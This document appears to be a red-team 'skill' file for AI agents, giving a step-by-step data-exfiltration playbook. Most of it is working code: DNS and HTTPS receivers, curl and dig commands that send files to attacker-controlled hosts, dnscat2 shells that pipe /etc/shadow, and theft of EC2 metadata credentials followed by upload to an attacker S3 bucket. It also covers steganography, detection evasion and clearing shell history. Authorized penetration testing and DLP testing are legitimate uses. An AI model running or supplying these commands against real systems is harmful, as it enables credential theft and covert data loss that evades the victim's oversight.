---
name: rt-data-exfiltration
description: "Data exfiltration Proof of Concept skill. Minimum viable sample per SEAD authorization. DNS exfiltration via subdomain queries, HTTP POST exfiltration via curl to attacker-controlled server, cloud storage upload (S3, Google Drive), steganography in images, and compressed+encrypted archive transfer. Always follows engagement scope and documents all extracted data for chain of custody."
---

# rt-data-exfiltration

## 1. Overview and When to Use

Data exfiltration is the final phase of a successful red team engagement — demonstrating that sensitive data can leave the target environment undetected. This skill covers Proof of Concept (PoC) exfiltration techniques that prove data loss is possible without causing actual harm or violating engagement scope.

**Use this skill when:**
- Post-exploitation foothold is established and SEAD authorization covers data exfiltration
- The engagement objective includes demonstrating DLP (Data Loss Prevention) bypass
- You need to prove sensitive data (PII, credentials, IP) can be exfiltrated
- Testing egress filtering, SIEM detection rules, or DLP tool effectiveness

**Do NOT use without:**
- Written SEAD authorization explicitly covering data exfiltration
- Defined scope of which systems and data types are in-scope
- Chain of custody plan for any sampled data
- Defined data destruction procedures post-engagement

**Engagement Minimum Viable Sample Rule:**
Always extract the minimum viable sample — a screenshot, a single row of a database, or a hash of a file — rather than bulk data. Confirm with the engagement lead before extracting anything beyond proof artifacts.

---

## 2. Prerequisites and Tool Setup

### 2.1 Required Infrastructure

Before executing any exfiltration technique, you need attacker-controlled infrastructure:

| Component | Purpose | Minimum Requirement |
|-----------|---------|---------------------|
| VPS / Droplet | Receive HTTP/DNS exfil | Any cloud VPS with public IP |
| Domain | DNS exfil, HTTP staging | Domain with full DNS control |
| S3 bucket (optional) | Cloud upload exfil | AWS account, bucket with write perms |
| Burner Google account (optional) | Google Drive upload | Isolated account not tied to identity |

### 2.2 Attacker-Side Tool Installation (Kali Linux)

```bash
# Update package index
sudo apt update

# Core network tools
sudo apt install -y dnsutils curl wget netcat-openbsd socat

# DNS exfiltration tooling
sudo apt install -y python3 python3-pip
pip3 install dnslib

# Steganography tools
sudo apt install -y steghide exiftool imagemagick

# Compression and encryption
sudo apt install -y p7zip-full gpg openssl

# AWS CLI for S3 exfil
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install

# gdrive CLI (Google Drive upload)
wget https://github.com/glotlabs/gdrive/releases/latest/download/gdrive_linux-386.tar.gz
tar xvf gdrive_linux-386.tar.gz
sudo mv gdrive /usr/local/bin/

# iodine (DNS tunnel)
sudo apt install -y iodine

# DNScat2 (DNS C2 + exfil)
sudo apt install -y dnscat2

# Cloakify (data encoding/obfuscation)
git clone https://github.com/TryCatchHCF/Cloakify /opt/cloakify

# PyExfil (multi-protocol exfil framework)
pip3 install pyexfil

# Egress-Assess (testing egress controls)
git clone https://github.com/FortyNorthSecurity/Egress-Assess /opt/egress-assess
cd /opt/egress-assess && pip3 install -r requirements.txt
```

### 2.3 Receiver-Side Setup (on your VPS)

```bash
# Start a simple HTTP receiver
python3 -m http.server 8080

# Or a proper netcat listener for raw data
nc -lvnp 4444 > received_data.bin

# DNS receiver using dnslib (save as dns_receiver.py)
cat > /opt/dns_receiver.py << 'EOF'
from dnslib.server import DNSServer, BaseResolver
from dnslib import RR, QTYPE, A
import base64, sys

class ExfilResolver(BaseResolver):
    def resolve(self, request, handler):
        qname = str(request.q.qname)
        label = qname.split('.')[0]
        try:
            decoded = base64.b32decode(label.upper().replace('8', '='))
            print(f"[EXFIL] {decoded}")
            with open("exfil_output.txt", "ab") as f:
                f.write(decoded + b"\n")
        except Exception as e:
            print(f"[INFO] {qname} ({e})")
        reply = request.reply()
        reply.add_answer(RR(request.q.qname, QTYPE.A, rdata=A("127.0.0.1"), ttl=60))
        return reply

server = DNSServer(ExfilResolver(), port=53, address="0.0.0.0")
server.start()
EOF
sudo python3 /opt/dns_receiver.py
```

---

## 3. Skill Levels

### BEGINNER — Understand Before You Touch

**Goal:** Learn what exfiltration is, read detection telemetry, understand egress controls.

**Key concepts to master first:**
- Difference between egress filtering and DLP
- What makes traffic "normal" vs. anomalous
- Common ports allowed outbound: 80, 443, 53, 123 (NTP)
- What a SIEM alert looks like for large outbound transfers

**Beginner exercises (lab only):**

```bash
# Check what egress is allowed from target (run on target after foothold)
curl -s http://ifconfig.me          # Can we reach internet over HTTP?
curl -s https://ifconfig.me         # HTTPS?
nslookup google.com 8.8.8.8         # DNS to external resolver?
ping -c 4 8.8.8.8                   # ICMP egress allowed?

# Identify sensitive files worth exfiltrating (in-scope only)
find /home -name "*.pem" 2>/dev/null
find /etc -name "shadow" 2>/dev/null
find / -name "*.kdbx" 2>/dev/null   # KeePass databases
find / -name "id_rsa" 2>/dev/null   # SSH private keys
locate "*.conf" | grep -i "password" 2>/dev/null
```

---

### INTERMEDIATE — Basic Exfiltration Channels

**Goal:** Execute simple exfiltration over HTTP and DNS.

#### DNS Exfiltration (Subdomain Encoding)

DNS is allowed outbound from almost every network. Encode data as subdomains of an attacker-controlled domain.

```bash
# ATTACKER VPS: Start DNS receiver (see Section 2.3)

# TARGET MACHINE: Encode and send data via DNS
# Step 1: Prepare data sample (minimum viable — one line of /etc/passwd)
DATA=$(head -1 /etc/passwd | base32 | tr -d '=' | tr '[:upper:]' '[:lower:]')

# Step 2: Send as DNS query
dig ${DATA}.exfil.yourdomain.com @your-vps-ip A

# Automated chunked DNS exfil (files > 63 chars need chunking)
cat > /tmp/dns_exfil.sh << 'SCRIPT'
#!/bin/bash
TARGET_DOMAIN="exfil.yourdomain.com"
NS_SERVER="your-vps-ip"
FILE="$1"
CHUNK_SIZE=30

base32 < "$FILE" | tr -d '=' | tr '[:upper:]' '[:lower:]' | \
  fold -w $CHUNK_SIZE | \
  while read chunk; do
    dig "${chunk}.${TARGET_DOMAIN}" @${NS_SERVER} A > /dev/null 2>&1
    sleep 0.5  # Throttle to avoid triggering volume alerts
  done
echo "DONE" | base32 | tr -d '=' | tr '[:upper:]' '[:lower:]' | \
  xargs -I{} dig "{}.${TARGET_DOMAIN}" @${NS_SERVER} A > /dev/null 2>&1
SCRIPT
chmod +x /tmp/dns_exfil.sh
/tmp/dns_exfil.sh /tmp/sample.txt
```

#### HTTP POST Exfiltration

```bash
# ATTACKER VPS: Start HTTP receiver
cat > /opt/http_receiver.py << 'EOF'
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys, os

class ExfilHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        data = self.rfile.read(length)
        fname = self.path.strip('/').replace('/', '_') or 'exfil.bin'
        with open(f"/opt/received/{fname}", 'wb') as f:
            f.write(data)
        print(f"[+] Received {len(data)} bytes -> /opt/received/{fname}")
        self.send_response(200)
        self.end_headers()
    def log_message(self, *args): pass

os.makedirs("/opt/received", exist_ok=True)
HTTPServer(("0.0.0.0", 8080), ExfilHandler).serve_forever()
EOF
python3 /opt/http_receiver.py

# TARGET MACHINE: POST data to receiver
# Single file
curl -s -X POST http://your-vps-ip:8080/sample.txt \
     --data-binary @/tmp/sample.txt

# With fake User-Agent to blend in
curl -s -X POST http://your-vps-ip:8080/data \
     -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
     -H "Content-Type: application/octet-stream" \
     --data-binary @/tmp/sample.txt
```

---

### ADVANCED — Evasion and Alternative Channels

**Goal:** Bypass DLP, egress filters, and proxy inspection.

#### HTTPS with Certificate Pinning Bypass

```bash
# ATTACKER VPS: Get a real TLS cert (Let's Encrypt)
sudo apt install certbot
sudo certbot certonly --standalone -d exfil.yourdomain.com

# Run HTTPS receiver with valid cert
cat > /opt/https_receiver.py << 'EOF'
import ssl, os
from http.server import HTTPServer, BaseHTTPRequestHandler

class ExfilHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        data = self.rfile.read(length)
        with open(f"/opt/received/data_{len(os.listdir('/opt/received'))}.bin", 'wb') as f:
            f.write(data)
        self.send_response(200); self.end_headers()
    def log_message(self, *args): pass

os.makedirs("/opt/received", exist_ok=True)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain('/etc/letsencrypt/live/exfil.yourdomain.com/fullchain.pem',
                    '/etc/letsencrypt/live/exfil.yourdomain.com/privkey.pem')
httpd = HTTPServer(("0.0.0.0", 443), ExfilHandler)
httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
httpd.serve_forever()
EOF
sudo python3 /opt/https_receiver.py

# TARGET MACHINE: Exfil over HTTPS (blends with normal HTTPS traffic)
curl -s -X POST https://exfil.yourdomain.com/upload \
     -H "Content-Type: application/json" \
     -d "{\"data\": \"$(base64 -w0 /tmp/sample.txt)\"}"
```

#### Steganography Exfiltration

```bash
# ATTACKER: Prepare a carrier image
wget -q https://upload.wikimedia.org/wikipedia/commons/3/3f/JPEG_example_flower.jpg -O /tmp/carrier.jpg

# TARGET: Embed data into image using steghide
# First, prepare your payload
echo "Root hash: $(sha256sum /etc/shadow | head -c 64)" > /tmp/payload.txt

# Embed with password
steghide embed -cf /tmp/carrier.jpg -sf /tmp/payload.txt -p "EngagementKey2024" -f

# Upload the image to a public image host or your server
curl -s -X POST https://exfil.yourdomain.com/image \
     -F "file=@/tmp/carrier.jpg"

# ATTACKER: Extract the hidden payload
steghide extract -sf /tmp/carrier.jpg -p "EngagementKey2024" -xf /tmp/extracted.txt
cat /tmp/extracted.txt
```

#### Cloud Storage Upload (AWS S3)

```bash
# ATTACKER: Pre-configure a write-only S3 bucket
# Create bucket policy (allow s3:PutObject from any principal)
aws s3api create-bucket --bucket rt-exfil-drop-$(date +%s) --region us-east-1
aws s3api put-bucket-policy --bucket YOUR_BUCKET --policy '{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": "*",
    "Action": ["s3:PutObject"],
    "Resource": "arn:aws:s3:::YOUR_BUCKET/*"
  }]
}'

# TARGET MACHINE: Upload without needing AWS credentials (public write)
# Using pre-signed URL approach
curl -s -X PUT "https://YOUR_BUCKET.s3.amazonaws.com/exfil/sample.txt" \
     -H "Content-Type: application/octet-stream" \
     --data-binary @/tmp/sample.txt

# Or with AWS CLI if credentials are available
AWS_ACCESS_KEY_ID="YOUR_KEY" \
AWS_SECRET_ACCESS_KEY="YOUR_SECRET" \
aws s3 cp /tmp/sample.txt s3://YOUR_BUCKET/exfil/sample.txt
```

#### Google Drive Upload

```bash
# ATTACKER: Authenticate gdrive with burner account
gdrive account add   # Follow OAuth flow once

# TARGET MACHINE: Upload file (requires gdrive binary + token)
# Copy gdrive binary and token to target
scp /usr/local/bin/gdrive user@target:/tmp/gdrive
scp ~/.config/gdrive/accounts/ user@target:/tmp/gdrive_config/ -r

# On target
/tmp/gdrive --config /tmp/gdrive_config files upload /tmp/sample.txt
```

---

### EXPERT — Protocol Tunneling and Covert Channels

**Goal:** Exfiltrate through channels that bypass all standard controls.

#### DNS Tunnel with iodine (Full IP tunnel over DNS)

```bash
# ATTACKER VPS: Run iodined server
# First, delegate NS record: ns1.tunnel.yourdomain.com -> your VPS IP
sudo iodined -f -c -P EngagementPass 10.0.0.1 tunnel.yourdomain.com

# TARGET: Connect via iodine client
sudo iodine -f -P EngagementPass tunnel.yourdomain.com

# Once tunnel is up, use the 10.0.0.x network for all traffic
curl http://10.0.0.1:8080/          # All traffic goes through DNS
```

#### DNScat2 (Encrypted C2 + Exfil over DNS)

```bash
# ATTACKER VPS: Start dnscat2 server
ruby /usr/share/dnscat2/dnscat2.rb --dns "domain=exfil.yourdomain.com,host=0.0.0.0" --no-cache --secret EngagementSecret2024

# TARGET: Connect dnscat2 client
# Compile client on target (if gcc available)
git clone https://github.com/iagox86/dnscat2 /tmp/dnscat2
cd /tmp/dnscat2/client && make
./dnscat --secret EngagementSecret2024 exfil.yourdomain.com

# In dnscat2 server console: create file exfil channel
dnscat2> session -i 1
command (session 1)> shell
# Now you have a shell; pipe file contents
cat /etc/shadow | ./dnscat --secret EngagementSecret2024 exfil.yourdomain.com
```

#### Compressed and Encrypted Archive Transfer

```bash
# TARGET: Create encrypted archive of target data
# Using 7zip with AES-256
7z a -tzip -p"EngagementKey2024!" -mhe=on /tmp/exfil_archive.zip /tmp/sample_data/

# Using GPG encryption
gpg --batch --yes --passphrase "EngagementKey2024!" \
    --symmetric --cipher-algo AES256 \
    -o /tmp/exfil_archive.gpg /tmp/sample.txt

# Split into chunks to avoid size-based DLP triggers (e.g., <5MB chunks)
split -b 5m /tmp/exfil_archive.gpg /tmp/chunk_

# Upload each chunk
for chunk in /tmp/chunk_*; do
    chunkname=$(basename $chunk)
    curl -s -X POST https://exfil.yourdomain.com/upload/${chunkname} \
         --data-binary @${chunk}
    sleep 2
done

# ATTACKER: Reassemble
cat /opt/received/chunk_* > /tmp/reassembled.gpg
gpg --batch --passphrase "EngagementKey2024!" -o /tmp/decrypted.txt -d /tmp/reassembled.gpg
```

#### Cloakify (Encode Data as Innocuous Text)

```bash
# Cloakify encodes binary data as lists of common words, IP addresses, etc.
cd /opt/cloakify

# Encode data using a "cipher" (list of common strings)
python3 cloakify.py /tmp/sample.txt ciphers/desserts.txt > /tmp/cloaked.txt
cat /tmp/cloaked.txt   # Looks like a list of desserts

# Transfer the innocuous-looking text (email, pastebin, etc.)
curl -s -X POST https://exfil.yourdomain.com/text \
     -d "$(cat /tmp/cloaked.txt)"

# ATTACKER: Decode
python3 decloakify.py /tmp/cloaked.txt ciphers/desserts.txt > /tmp/recovered.bin
```

---

## 4. Step-by-Step Attack Workflow

```
Step 1: PRE-ENGAGEMENT AUTHORIZATION CHECK
  1.1 Confirm SEAD document explicitly covers data exfiltration
  1.2 Confirm which systems and data types are in-scope
  1.3 Confirm data destruction timeline and chain of custody requirements
  1.4 Set up attacker infrastructure (VPS, domain, receivers)
  1.5 Document attacker infrastructure in engagement log

Step 2: RECONNAISSANCE — EGRESS PROFILING
  2.1 From target: test HTTP egress      → curl http://ifconfig.me
  2.2 From target: test HTTPS egress     → curl https://ifconfig.me
  2.3 From target: test DNS egress       → nslookup google.com 8.8.8.8
  2.4 From target: test non-standard ports → nc -zv your-vps 4444
  2.5 Document which channels are open in recon notes
  2.6 Check for proxy requirements       → env | grep -i proxy

Step 3: DATA IDENTIFICATION (Minimum Viable Sample)
  3.1 Identify in-scope sensitive data locations
  3.2 Select minimum sample that proves data access
  3.3 Hash the original file (SHA256) for chain of custody
  3.4 Record file path, size, and hash in engagement log

Step 4: PAYLOAD PREPARATION
  4.1 Copy/stage only the minimum sample to /tmp/
  4.2 Compress sample: tar czf /tmp/sample.tar.gz /tmp/sample.txt
  4.3 Encrypt sample: gpg --symmetric -o /tmp/sample.gpg /tmp/sample.tar.gz
  4.4 Encode if needed (base64, base32, cloakify)

Step 5: EXFILTRATION EXECUTION
  5.1 Select channel based on egress profiling (DNS > HTTPS > HTTP)
  5.2 Execute chosen technique (see Section 3)
  5.3 Verify receipt on attacker-controlled receiver
  5.4 Record timestamp, bytes transferred, and channel used

Step 6: VERIFICATION
  6.1 On attacker side: hash received data
  6.2 Compare hash to original (proves integrity, proves exfil success)
  6.3 Document hash match in engagement log

Step 7: CLEANUP
  7.1 Delete staged files from target: rm -f /tmp/sample* /tmp/chunk_* /tmp/exfil*
  7.2 Clear any shell history entries referencing exfil
  7.3 Delete received data from attacker infrastructure per agreed timeline
  7.4 Document cleanup completion in engagement log

Step 8: REPORTING
  8.1 Record technique used, detection (or lack thereof)
  8.2 Record SIEM/DLP alerts triggered (request from blue team)
  8.3 Provide remediation recommendations
```

---

## 5. Real Attack Scenarios

### Scenario A: Corporate Network — DLP Bypass via DNS Exfiltration

**Environment:** Corporate Windows network, proxy enforced, all HTTP/HTTPS goes through Zscaler. Direct internet blocked except DNS to 8.8.8.8.

**Objective:** Prove that database credentials found on a compromised dev server can leave the network.

```bash
# ATTACKER VPS (1.2.3.4): Set up DNS receiver
# NS record: exfil.redteam-ops.com -> 1.2.3.4
sudo python3 /opt/dns_receiver.py

# TARGET (compromised dev server):
# Step 1: Find the credentials (in-scope per SEAD)
grep -ri "password" /home/devuser/.env 2>/dev/null | head -3 > /tmp/db_creds.txt
sha256sum /tmp/db_creds.txt   # Record original hash for CoC

# Step 2: Encode and exfiltrate via DNS
while IFS= read -r line; do
    chunk=$(echo -n "$line" | base32 | tr -d '=' | tr '[:upper:]' '[:lower:]' | head -c 60)
    nslookup "${chunk}.exfil.redteam-ops.com" 8.8.8.8 > /dev/null 2>&1
    sleep 1
done < /tmp/db_creds.txt

# Step 3: Send terminator
nslookup "done.exfil.redteam-ops.com" 8.8.8.8 > /dev/null 2>&1

# ATTACKER: Verify receipt
cat /opt/exfil_output.txt
# Output: root:x:0:0:root:/root:/bin/bash (decoded)

# Cleanup
rm -f /tmp/db_creds.txt
history -c

# Finding to report: DNS-based DLP bypass successful. Zscaler proxy not
# inspecting DNS traffic. Recommend DNS filtering (Cisco Umbrella/Infoblox).
```

---

### Scenario B: Cloud-Adjacent Target — S3 Upload via Compromised EC2 Role

**Environment:** EC2 instance with an overly permissive IAM role (s3:PutObject on *).

**Objective:** Demonstrate that compromised EC2 metadata credentials can exfiltrate data to an attacker bucket.

```bash
# TARGET (compromised EC2):
# Step 1: Retrieve instance credentials from metadata service
ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
CREDS=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE_NAME})

export AWS_ACCESS_KEY_ID=$(echo $CREDS | python3 -c "import sys,json; print(json.load(sys.stdin)['AccessKeyId'])")
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | python3 -c "import sys,json; print(json.load(sys.stdin)['SecretAccessKey'])")
export AWS_SESSION_TOKEN=$(echo $CREDS | python3 -c "import sys,json; print(json.load(sys.stdin)['Token'])")

# Step 2: Identify sensitive data (in-scope)
find /var/app -name "*.env" 2>/dev/null | head -1 > /tmp/target_file.txt
cat /tmp/target_file.txt  # Verify it's the right file

# Step 3: Minimum sample — first 5 lines only
head -5 $(cat /tmp/target_file.txt) > /tmp/sample.txt
sha256sum /tmp/sample.txt  # Chain of custody hash

# Step 4: Encrypt then upload
openssl enc -aes-256-cbc -pbkdf2 -k "EngagementKey2024" \
    -in /tmp/sample.txt -out /tmp/sample.enc

aws s3 cp /tmp/sample.enc s3://rt-attacker-drop-bucket/exfil/ec2-sample-$(date +%s).enc \
    --region us-east-1

# Step 5: Verify upload
aws s3 ls s3://rt-attacker-drop-bucket/exfil/

# ATTACKER: Download and decrypt
aws s3 cp s3://rt-attacker-drop-bucket/exfil/ec2-sample-*.enc /tmp/received.enc
openssl enc -d -aes-256-cbc -pbkdf2 -k "EngagementKey2024" \
    -in /tmp/received.enc -out /tmp/recovered.txt
cat /tmp/recovered.txt

# Cleanup target
rm -f /tmp/sample.txt /tmp/sample.enc /tmp/target_file.txt

# Finding: EC2 role grants s3:PutObject to *, enabling exfiltration to
# any attacker-controlled S3 bucket. Remediate: scope IAM roles to
# specific buckets and prefixes. Enable S3 server access logging.
```

---

### Scenario C: Air-Gapped Adjacent Host — Steganography via Web Application

**Environment:** Internal web application allows image uploads (profile pictures). Files are publicly accessible. Target has no direct internet access but uploads go through the web app.

**Objective:** Exfiltrate data by embedding it in an image uploaded through the allowed web app channel.

```bash
# TARGET (internal host):
# Step 1: Prepare minimum viable sample
echo "SSH_KEY_HASH=$(sha256sum /home/admin/.ssh/id_rsa | awk '{print $1}')" > /tmp/payload.txt
echo "HOSTNAME=$(hostname)" >> /tmp/payload.txt
echo "INTERNAL_IP=$(hostname -I)" >> /tmp/payload.txt

sha256sum /tmp/payload.txt  # Record for chain of custody

# Step 2: Download a generic carrier image from the web app or internet
# (If internet-accessible via the web app's allowed domains)
curl -s https://www.gravatar.com/avatar/00000000000000000000000000000000?d=mp&s=200 \
     -o /tmp/carrier.jpg

# Step 3: Embed payload
steghide embed -cf /tmp/carrier.jpg -sf /tmp/payload.txt \
    -p "RTEngagement2024!" -f -q

# Step 4: Upload via the web app's allowed image upload endpoint
curl -s -b "session=VALID_SESSION_COOKIE" \
     -F "profile_pic=@/tmp/carrier.jpg;type=image/jpeg" \
     https://internal-webapp.corp/api/profile/avatar

# ATTACKER: Access the publicly viewable profile image
wget -q https://internal-webapp.corp/uploads/user_12345/avatar.jpg -O /tmp/received.jpg

# Extract hidden payload
steghide extract -sf /tmp/received.jpg -p "RTEngagement2024!" -xf /tmp/extracted.txt -f
cat /tmp/extracted.txt

# Cleanup target
rm -f /tmp/payload.txt /tmp/carrier.jpg

# Finding: Web application image upload can be used as a covert exfiltration
# channel. DLP tools do not inspect steganographic content. Recommend:
# image re-encoding on upload (strips embedded data), content-aware DLP.
```

---

## 6. OPSEC Considerations

### 6.1 Detection Risks by Technique

| Technique | Detection Risk | Key Indicators |
|-----------|---------------|----------------|
| DNS exfil (high volume) | HIGH | Anomalous DNS query volume, long subdomain labels, base32 patterns |
| DNS exfil (low/slow) | MEDIUM | Uncommon subdomain TLDs, queries to new external resolvers |
| HTTP POST (plaintext) | HIGH | Large outbound POST to unknown IP, DLP content inspection |
| HTTPS POST (valid cert) | MEDIUM | New TLS destination, certificate transparency logs |
| S3 upload | MEDIUM | CloudTrail PutObject to external bucket, unusual s3 destination |
| Steganography | LOW | Requires content-aware inspection, usually undetected |
| DNS tunnel (iodine) | HIGH | TXT/NULL/CNAME record abuse, session-like DNS patterns |
| Cloakify | LOW-MEDIUM | Semantic analysis needed to detect encoded data |

### 6.2 Mitigation Techniques (OPSEC for the Operator)

**Volume and Rate Limiting:**
```bash
# Add delays between DNS queries to avoid volume-based detection
sleep $((RANDOM % 3 + 1))  # Random 1-3 second delay between queries

# Chunk sizes that match legitimate DNS query patterns (< 63 chars per label)
fold -w 40   # Stay well under the 63-char label limit
```

**Blending Traffic:**
- Use port 443 with a valid TLS certificate (Let's Encrypt) for HTTPS exfil
- Fake realistic User-Agent headers matching common browsers
- Upload files in size ranges matching normal user behavior (< 2MB)
- Time exfiltration during business hours to blend with normal traffic patterns

**Channel Selection Priority (lowest detection risk first):**
1. Steganography through allowed upload channels
2. HTTPS to a domain with valid cert and reputation
3. Cloud storage (S3, Google Drive) — traffic looks like SaaS usage
4. DNS tunneling (encrypted, low-volume)
5. DNS exfiltration (raw subdomains) — highest detection risk

**Avoid:**
- Sending data in single large bursts
- Using raw IP addresses as destinations (no domain = suspicious)
- Non-standard ports unless confirmed open via egress probe
- Cleartext HTTP when HTTPS is available
- Keeping staged files on target longer than necessary

### 6.3 What Gets You Caught

- **Volume anomalies:** Transferring 100MB when the org averages 1MB/hr/user
- **New external destinations:** First-time connection to your VPS IP triggers SIEM
- **DNS label patterns:** Base32/Base64 encoded labels have distinctive character distributions
- **Certificate transparency:** Your Let's Encrypt cert for exfil.yourdomain.com is logged publicly
- **Timing:** Exfiltrating at 3am when no users are logged in
- **Cleanup failure:** Leaving staged files or shell history on the target

---

## 7. Output and Documentation Instructions

### 7.1 Chain of Custody Log (Required for Every Exfil)

Create this log entry before and after every exfiltration attempt:

```
=== DATA EXFILTRATION CHAIN OF CUSTODY ===
Engagement ID     : ENG-2024-XXXX
Operator          : [Your name/handle]
Authorization Ref : SEAD-v2.3, Section 4.2 (Data Exfiltration)
Timestamp (UTC)   : 2024-XX-XX XX:XX:XX UTC

SOURCE
  Host            : 192.168.1.50 (dev-server-01)
  File path       : /home/devuser/.env
  Original SHA256 : abc123...
  Sample size     : First 5 lines (143 bytes)

TECHNIQUE USED    : DNS exfiltration via subdomain encoding (base32)
CHANNEL           : UDP/53 to 8.8.8.8 -> exfil.redteam-ops.com

RECEIPT CONFIRMED
  Attacker host   : 1.2.3.4 (vps-rt-01)
  Received SHA256 : abc123... (MATCH)
  Timestamp (UTC) : 2024-XX-XX XX:XX:XX UTC

DETECTION STATUS  : No SIEM alerts observed during window (confirm with blue team)

CLEANUP COMPLETED
  Target files    : Deleted at 2024-XX-XX XX:XX:XX UTC
  Attacker files  : Scheduled for deletion at engagement close
  Shell history   : Cleared on target

FINDING SUMMARY   : DNS exfil bypasses Zscaler proxy. DLP has no DNS inspection.
RECOMMENDATIONS   : Deploy DNS filtering (Umbrella), add DNS exfil detection rules.
===
```

### 7.2 Report Section Template

```markdown
## Finding: Data Exfiltration via [TECHNIQUE]

**Severity:** High / Critical
**MITRE ATT&CK:** T1048 (Exfiltration Over Alternative Protocol)
**Systems Affected:** [host list]

### Description
[Describe what was exfiltrated, from where, and how]

### Evidence
- Screenshot of DNS receiver capturing data
- Hash comparison proving data integrity
- Timestamp log of exfiltration window

### Business Impact
An attacker with the same access could exfiltrate [data type], enabling
[business impact: credential theft, IP theft, regulatory violation].

### Remediation
1. [Primary control: DNS filtering / proxy inspection / DLP rule]
2. [Secondary control: alert on outbound DNS to new resolvers]
3. [Detection: SIEM rule for DNS label length > 40 chars]
```

---

## 8. Resources

### Core Tooling

| Tool | URL | Use Case |
|------|-----|----------|
| DNScat2 | https://github.com/iagox86/dnscat2 | DNS C2 and exfiltration |
| iodine | https://github.com/yarrick/iodine | IP-over-DNS tunnel |
| Cloakify | https://github.com/TryCatchHCF/Cloakify | Data encoding/obfuscation |
| PyExfil | https://github.com/ytisf/PyExfil | Multi-protocol exfil framework |
| Egress-Assess | https://github.com/FortyNorthSecurity/Egress-Assess | Egress control testing |
| DNSExfiltrator | https://github.com/Arno0x/DNSExfiltrator | DNS exfil with RC4 encryption |
| PacketWhisper | https://github.com/TryCatchHCF/PacketWhisper | Steganographic DNS exfil |
| DET | https://github.com/sensepost/DET | Multi-channel data exfiltration |

### Reference and Research

| Resource | URL |
|----------|-----|
| MITRE ATT&CK T1048 | https://attack.mitre.org/techniques/T1048/ |
| MITRE ATT&CK T1041 | https://attack.mitre.org/techniques/T1041/ |
| DNS Exfiltration Techniques | https://github.com/m57/dnsteal |
| Steghide documentation | https://steghide.sourceforge.net/documentation.php |
| Red Team Notes — Exfil | https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Exfiltration/README.md |
| AWS IAM Privilege Escalation | https://github.com/RhinoSecurityLabs/cloudgoat |
| Detection Engineering (Blue) | https://github.com/SigmaHQ/sigma/tree/master/rules/network |

### Lab Practice

| Resource | URL |
|----------|-----|
| PentesterLab | https://pentesterlab.com |
| HackTheBox (Pro Labs) | https://www.hackthebox.com/hacker/pro-labs |
| TryHackMe Exfiltration Room | https://tryhackme.com/room/dataxexfilt |
| SANS SEC560 | https://www.sans.org/cyber-security-courses/network-penetration-testing-ethical-hacking/ |

---

*All techniques in this skill must only be executed under written authorization (SEAD). Unauthorized exfiltration is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent international statutes. Always minimize data collection to the smallest sample that proves the finding.*
